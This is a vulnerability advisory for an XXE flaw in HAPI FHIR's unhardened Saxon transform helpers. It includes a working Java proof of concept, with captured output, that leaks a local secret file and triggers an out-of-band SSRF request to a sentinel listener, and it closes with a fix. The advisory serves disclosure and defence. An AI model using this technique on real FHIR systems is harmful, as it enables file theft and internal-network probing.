HAPI FHIR: XXE in XsltUtilities.saxonTransform via unhardened Saxon TransformerFactory ### Summary `org.hl7.fhir.utilities.XsltUtilities` exposes two parallel families of XSLT transform helpers. The `transform(...)` overloads obtain their `TransformerFactory` from the project's hardened helper `XMLUtil.newXXEProtectedTransformerFactory()` (which sets `ACCESS_EXTERNAL_DTD=""` and `ACCESS_EXTERNAL_STYLESHEET=""`). The sibling `saxonTransform(...)` overloads instead instantiate a **bare** `new net.sf.saxon.TransformerFactoryImpl()` with no external-access restriction. A document transformed through any `saxonTransform(...)` overload is parsed with external general entities and external DTD/parameter entities enabled, so an attacker who controls (or can MITM) the transformed XML obtains XML External Entity injection: local file disclosure and blind XXE / SSRF to arbitrary URLs reachable from the host. `XMLUtil` documents that its protected factory "should be the only place where TransformerFactory is instantiated in this project". The `saxonTransform` overloads violate that contract while their same-file `transform` siblings honour it. ### Affected versions `org.hl7.fhir.utilities` (Maven `ca.uhn.hapi.fhir:org.hl7.fhir.utilities`) `<= 6.9.8` (latest release at time of report; verified live on `6.9.8`). The bare `net.sf.saxon.TransformerFactoryImpl()` instantiation is present at `XsltUtilities.java:61`, `:91`, and `:106`. ### Privilege required None at the library boundary. The exposure depends on the calling tool: any FHIR component that runs `XsltUtilities.saxonTransform(...)` over XML whose source document, embedded DTD, or referenced stylesheet is attacker-influenced (an IG package, a fetched/uploaded resource, a downloaded stylesheet, or a MITM'd HTTP fetch) triggers the XXE. No DOCTYPE/entity stripping occurs before the Saxon parser sees the bytes. ### Root cause `org.hl7.fhir.utilities/src/main/java/org/hl7/fhir/utilities/XsltUtilities.java`: ```java // VULNERABLE — bare factory, no external-access restriction (lines 60-73, 90-99, 105-128) public static byte[] saxonTransform(Map files, byte[] source, byte[] xslt) throws TransformerException { TransformerFactory f = new net.sf.saxon.TransformerFactoryImpl(); // <-- bare f.setAttribute("http://saxon.sf.net/feature/version-warning", Boolean.FALSE); StreamSource xsrc = new StreamSource(new ByteArrayInputStream(xslt)); f.setURIResolver(new ZipURIResolver(files)); Transformer t = f.newTransformer(xsrc); ... } public static String saxonTransform(String source, String xslt) throws TransformerException, IOException { TransformerFactoryImpl f = new net.sf.saxon.TransformerFactoryImpl(); // <-- bare ... } // HARDENED SIBLING (same file, lines 75-88 / 130-149) — negative control public static byte[] transform(Map files, byte[] source, byte[] xslt) throws TransformerException { TransformerFactory f = org.hl7.fhir.utilities.xml.XMLUtil.newXXEProtectedTransformerFactory(); // <-- hardened ... } ``` The hardened helper (`XMLUtil.newXXEProtectedTransformerFactory()`) is: ```java public static TransformerFactory newXXEProtectedTransformerFactory() { final TransformerFactory transformerFactory = TransformerFactory.newInstance(); transformerFactory.setAttribute(XMLConstants.ACCESS_EXTERNAL_DTD, ""); transformerFactory.setAttribute(XMLConstants.ACCESS_EXTERNAL_STYLESHEET, ""); return transformerFactory; } ``` The `saxonTransform` overloads never call this helper and never set the two `ACCESS_EXTERNAL_*` attributes, so the underlying parser resolves external general entities (``) and external DTD/parameter entities (``). This is a classic CWE-611. The asymmetry — one family hardened, the co-located sibling family bare — is the bug: the protection that already exists in the same class was not extended to the `saxonTransform` variants. ### Reproduction (E2E against published Maven Central `org.hl7.fhir.utilities:6.9.8`) A self-contained Maven project. `pom.xml` pulls the latest released artifact, which transitively brings `net.sf.saxon:Saxon-HE:11.6`. `pom.xml`: ```xml 4.0.0 pocfhir-xslt-xxe-poc1.0 17 17 ca.uhn.hapi.fhir org.hl7.fhir.utilities 6.9.8 ``` `src/main/java/Poc.java`: ```java import org.hl7.fhir.utilities.XsltUtilities; import java.io.*; import java.net.*; import java.nio.charset.StandardCharsets; import java.nio.file.*; import java.util.*; public class Poc { static final String CANARY_MARK = "TOP-SECRET-FHIR-XSLT-CANARY-3f9a17c2"; // identity stylesheet: copies the resolved //data text into the output static final String IDENTITY_XSLT = "\n" + "\n" + " \n" + "

\n" + "\n"; public static void main(String[] args) throws Exception { Path secret = Files.createTempFile("fhir-secret-", ".txt"); Files.writeString(secret, CANARY_MARK + " :: " + UUID.randomUUID()); final List oobHits = Collections.synchronizedList(new ArrayList<>()); ServerSocket sentinel = new ServerSocket(0); int oobPort = sentinel.getLocalPort(); Thread st = new Thread(() -> { try { while (!sentinel.isClosed()) { Socket s = sentinel.accept(); BufferedReader r = new BufferedReader(new InputStreamReader(s.getInputStream(), StandardCharsets.UTF_8)); String line = r.readLine(); if (line != null) { oobHits.add(line); System.out.println("[SENTINEL] inbound connection: " + line); } byte[] body = "".getBytes(StandardCharsets.UTF_8); // well-formed empty external DTD OutputStream os = s.getOutputStream(); os.write(("HTTP/1.1 200 OK\r\nContent-Type: application/xml-dtd\r\nContent-Length: " + body.length + "\r\n\r\n").getBytes()); os.write(body); os.flush(); s.close(); } } catch (IOException ignored) {} }); st.setDaemon(true); st.start(); // A1: external general entity -> local secret (file read) // A2: external parameter entity -> attacker URL (blind XXE / SSRF) String maliciousSource = "\n" + "\n" + " \n" + " %oob;\n" + "]>\n" + "&canary;\n"; Path srcFile = Files.createTempFile("fhir-malicious-src-", ".xml"); Files.writeString(srcFile, maliciousSource); Path xsltFile = Files.createTempFile("fhir-identity-", ".xslt"); Files.writeString(xsltFile, IDENTITY_XSLT); System.out.println("=== Target: org.hl7.fhir.utilities:6.9.8 (XsltUtilities) on JDK " + System.getProperty("java.version") + " ==="); System.out.println("=== Saxon: " + saxonVersion() + " ==="); System.out.println("Secret file: " + secret + " (contains " + CANARY_MARK + ")"); System.out.println("OOB sentinel: http://127.0.0.1:" + oobPort + "/\n"); System.out.println("---- ATTACK: XsltUtilities.saxonTransform(source, xslt) [BARE TransformerFactoryImpl] ----"); try { String out = XsltUtilities.saxonTransform(srcFile.toString(), xsltFile.toString()); System.out.println("transform output: [" + out.trim() + "]"); System.out.println(out.contains(CANARY_MARK) ? ">>> XXE CONFIRMED: canary leaked into XSLT output via external entity <<<" : ">>> canary NOT in output <<<"); } catch (Exception e) { System.out.println("saxonTransform threw: " + e); } Thread.sleep(400); System.out.println("OOB sentinel hits after BARE call: " + oobHits + "\n"); // Direct factory comparison (isolates the hardening difference) System.out.println("---- DIRECT FACTORY COMPARISON (same malicious source, identity XSLT) ----"); int b = oobHits.size(); System.out.println("[bare new TransformerFactoryImpl()]"); runDirect(new net.sf.saxon.TransformerFactoryImpl(), srcFile, xsltFile, oobHits, b); int b2 = oobHits.size(); System.out.println("[hardened XMLUtil.newXXEProtectedTransformerFactory()]"); runDirect(org.hl7.fhir.utilities.xml.XMLUtil.newXXEProtectedTransformerFactory(), srcFile, xsltFile, oobHits, b2); sentinel.close(); } static void runDirect(javax.xml.transform.TransformerFactory f, Path srcFile, Path xsltFile, List oobHits, int before) throws Exception { try { javax.xml.transform.Transformer t = f.newTransformer(new javax.xml.transform.stream.StreamSource(Files.newInputStream(xsltFile))); ByteArrayOutputStream out = new ByteArrayOutputStream(); t.transform(new javax.xml.transform.stream.StreamSource(Files.newInputStream(srcFile)), new javax.xml.transform.stream.StreamResult(out)); String s = out.toString(StandardCharsets.UTF_8).trim(); System.out.println(" output: [" + s + "]"); System.out.println(" canary leaked: " + s.contains(CANARY_MARK)); } catch (Exception e) { System.out.println(" threw: " + e.getClass().getName() + ": " + String.valueOf(e.getMessage()).replaceAll("[\\u4e00-\\u9fff]", "?")); } Thread.sleep(300); System.out.println(" OOB sentinel hits from this call: " + (oobHits.size() - before)); } static String saxonVersion() { try { return (String) Class.forName("net.sf.saxon.Version").getMethod("getProductVersion").invoke(null); } catch (Throwable t) { return "unknown"; } } } ``` Run + **verbatim captured output** (JDK 17.0.18, Saxon-HE 11.6; CJK in the hardened-path SAXParseException replaced with `?` by the harness for ASCII display, the message text is `accessExternalDTD ... restriction ... 'http' access not allowed`): ``` $ mvn -q compile && mvn -q exec:java -Dexec.mainClass=Poc === Target: org.hl7.fhir.utilities:6.9.8 (XsltUtilities) on JDK 17.0.18 === === Saxon: 11.6 === Secret file: /var/folders/.../fhir-secret-467000002121832365.txt (contains TOP-SECRET-FHIR-XSLT-CANARY-3f9a17c2) OOB sentinel: http://127.0.0.1:62466/ ---- ATTACK: XsltUtilities.saxonTransform(source, xslt) [BARE TransformerFactoryImpl] ---- [SENTINEL] inbound connection: GET /evil-fhir-xslt-ssrf.dtd HTTP/1.1 transform output: [TOP-SECRET-FHIR-XSLT-CANARY-3f9a17c2 :: 4e3c33aa-4db1-4f22-880f-6666fedd9da4] >>> XXE CONFIRMED: canary leaked into XSLT output via external entity <<< OOB sentinel hits after BARE call: [GET /evil-fhir-xslt-ssrf.dtd HTTP/1.1] ---- DIRECT FACTORY COMPARISON (same malicious source, identity XSLT) ---- [bare new TransformerFactoryImpl()] [SENTINEL] inbound connection: GET /evil-fhir-xslt-ssrf.dtd HTTP/1.1 output: [TOP-SECRET-FHIR-XSLT-CANARY-3f9a17c2 :: 4e3c33aa-4db1-4f22-880f-6666fedd9da4] canary leaked: true OOB sentinel hits from this call: 1 [hardened XMLUtil.newXXEProtectedTransformerFactory()] threw: net.sf.saxon.trans.XPathException: org.xml.sax.SAXParseException; lineNumber: 5; columnNumber: 8; ????: ???????? 'evil-fhir-xslt-ssrf.dtd', ?? accessExternalDTD ???????????? 'http' ??. OOB sentinel hits from this call: 0 ``` Interpretation of the verbatim output: - **Bare path** (`saxonTransform` and bare `TransformerFactoryImpl`): the local secret file content (`TOP-SECRET-FHIR-XSLT-CANARY-3f9a17c2 :: ...`) is leaked into the transform output (file disclosure), and the OOB sentinel receives `GET /evil-fhir-xslt-ssrf.dtd HTTP/1.1` (blind XXE / SSRF). `canary leaked: true`, OOB hits = 1. - **Hardened path** (`XMLUtil.newXXEProtectedTransformerFactory()`): parsing the same malicious source throws an `accessExternalDTD ... 'http' access not allowed` SAXParseException and the OOB sentinel receives 0 hits. The only difference between the two runs is the factory: the existing project helper blocks the attack, the bare sibling does not. ### Impact - **Local file disclosure**: any file readable by the JVM process is exfiltrated into the transform output (demonstrated above with a canary secret file). - **Blind XXE / SSRF**: external parameter/DTD entities cause the host to issue attacker-directed HTTP(S) requests (demonstrated by the sentinel hit), enabling internal-network probing and cloud metadata access from the host's network position. - The `saxonTransform` overloads are part of the public `org.hl7.fhir.utilities` API consumed across the FHIR Java tooling (IG-publisher / validation / conversion utilities); any consumer that routes attacker-influenced or MITM-able XML through them inherits the XXE. ### Suggested fix Route the `saxonTransform` overloads through the same protection the `transform` siblings already use. Because these overloads specifically need the Saxon implementation, obtain a Saxon factory and apply the two `ACCESS_EXTERNAL_*` restrictions (mirroring `XMLUtil.newXXEProtectedTransformerFactory()`), e.g. a small helper in `XMLUtil`: ```java @SuppressWarnings("checkstyle:transformerFactoryNewInstance") public static TransformerFactory newXXEProtectedSaxonTransformerFactory() { final TransformerFactory f = new net.sf.saxon.TransformerFactoryImpl(); f.setAttribute(XMLConstants.ACCESS_EXTERNAL_DTD, ""); f.setAttribute(XMLConstants.ACCESS_EXTERNAL_STYLESHEET, ""); return f; } ``` and replace each `new net.sf.saxon.TransformerFactoryImpl()` in `XsltUtilities.saxonTransform(...)` (lines 61, 91, 106) with a call to it. This mirrors the existing `newXXEProtected*` convention and the class-level mandate that the protected factory "should be the only place where TransformerFactory is instantiated in this project". A regression test that runs a DOCTYPE-bearing source through `saxonTransform` and asserts the external entity is NOT resolved should accompany the change. ### Credit Reported by tonghuaroot.

CVE-2026-55471 Blast Radius

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